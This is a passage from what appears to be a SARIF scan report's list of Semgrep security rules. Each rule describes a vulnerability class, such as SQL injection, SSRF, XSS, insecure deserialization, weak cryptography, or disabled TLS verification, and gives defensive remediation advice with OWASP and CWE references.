java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","id":"go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","name":"go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","id":"javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","name":"javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data."},"help":{"markdown":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.database.string-formatted-query.string-formatted-query)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.database.string-formatted-query.string-formatted-query","id":"go.lang.security.audit.database.string-formatted-query.string-formatted-query","name":"go.lang.security.audit.database.string-formatted-query.string-formatted-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.database.string-formatted-query.string-formatted-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","id":"ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","name":"ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","id":"python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","name":"python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result."},"help":{"markdown":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","id":"javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","name":"javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list."},"help":{"markdown":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.os-system-injection.os-system-injection)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.os-system-injection.os-system-injection","id":"python.flask.security.injection.os-system-injection.os-system-injection","name":"python.flask.security.injection.os-system-injection.os-system-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.os-system-injection.os-system-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"help":{"markdown":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpconn)\n","text":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpconn","id":"python.lang.compatibility.python37.python37-compatibility-httpconn","name":"python.lang.compatibility.python37.python37-compatibility-httpconn","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-httpconn"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"help":{"markdown":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","id":"java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","name":"java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ecb-cipher.ecb-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","id":"python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","name":"python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-none-alg.jwt-python-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-none-alg.jwt-python-none-alg","id":"python.jwt.security.jwt-none-alg.jwt-python-none-alg","name":"python.jwt.security.jwt-none-alg.jwt-python-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-none-alg.jwt-python-none-alg"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info."},"help":{"markdown":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#server_side_encryption_configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#server_side_encryption_configuration)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html)\n","text":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","id":"terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","name":"terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors)\n - [https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin](https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","id":"php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","name":"php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","id":"python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","name":"python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","id":"python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","name":"python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"help":{"markdown":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-spawn-process.dangerous-spawn-process)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-spawn-process.dangerous-spawn-process","id":"python.lang.security.dangerous-spawn-process.dangerous-spawn-process","name":"python.lang.security.dangerous-spawn-process.dangerous-spawn-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-spawn-process.dangerous-spawn-process"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication."},"help":{"markdown":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster)\n - [https://kubernetes.io/docs/reference/config-api/client-authentication.v1beta1/#client-authentication-k8s-io-v1beta1-Cluster](https://kubernetes.io/docs/reference/config-api/client-authentication.v1beta1/#client-authentication-k8s-io-v1beta1-Cluster)\n","text":"Cluster is disabling TLS certificate verification when communicating with the server. 